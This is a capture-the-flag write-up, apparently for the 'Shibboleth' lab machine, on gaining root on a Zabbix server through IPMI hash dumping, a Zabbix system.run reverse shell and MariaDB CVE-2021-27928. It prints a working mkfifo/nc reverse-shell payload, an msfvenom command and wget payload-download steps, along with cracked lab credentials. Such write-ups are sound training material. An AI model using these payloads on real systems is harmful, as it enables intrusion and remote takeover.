Shibboleth

image

Nmap Scan

Hmmm only 1 port is opened, strange, Let's try scanning UDP ports

............and yess there are some udp ports open

Directory Scanning

After enumerating through these directories I found nothing that was intresting, let's try getting some subdomains

Subdomain List

Voila!! we have some subdomains active , let's add them to /etc/hosts

All the three subdomain had a login page image

Hmmmmmm zabbix

Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption

Get login details

So I tried with some Web Attacks to login but none of them worked, The UDP port 623 will get us some hashes

Learn

  • The UDP port 623 is vulnerable : https://book.hacktricks.xyz/pentesting/623-udp-ipmi

Login creds

  • I've used the Metasplot way to get the hashes because it was easy

  • John cracked the password

  • So now we have the creds [ Administrator : ilovepumkinpie1 ]

Initial Foothold

  • I researched for a bit and found this intresting

    • https://stackoverflow.com/questions/24222086/how-to-run-command-on-zabbix-agents

  • After moving around the website I figured out that add items was vulnerable

image

  • The payload

    • system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 9999 >/tmp/f &,nowait]

image

  • Set up a nc listener and get the shell

  • As there were no SSH ports open we don't get any stabalize shell, let's get work with this shell

Get User flag / escalting user privileges

Escalating privileges [ root ]

linpeas.sh

  • Hmmm, MySQL is running as root, let's enumerate

  • So the DB information was stored in /etc/zabbix/zabbix_server.conf

  • Now we have the username and password [ zabbix : bloooarskybluh ]

MySQL enumeration

  • As ipmi-svc user was not in the sudoers list GTFO bins is not helpful

  • So the version is : 10.3.25

image

  • Link : https://www.cvedetails.com/vulnerability-list/vendor_id-12010/Mariadb.html

  • The first CVE has 9.0 score [ CVE-2021-27928 ]

  • Let's get the root

image

  • Link : https://packetstormsecurity.com/files/162177/MariaDB-10.2-Command-Execution.html

Final Step

  • Create the reverse shell payload

  • msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o root.so

  • I've used python http server and wget to download the payload

    • python3 -m http.server 80 [ Attacker ]

    • wget http://<your_ip>/root.so [ Victim ]

  • Setup a nc listener

Rooted the machine

Box pwned

image
PreviousSandwormNextFormat - incomplete

Last updated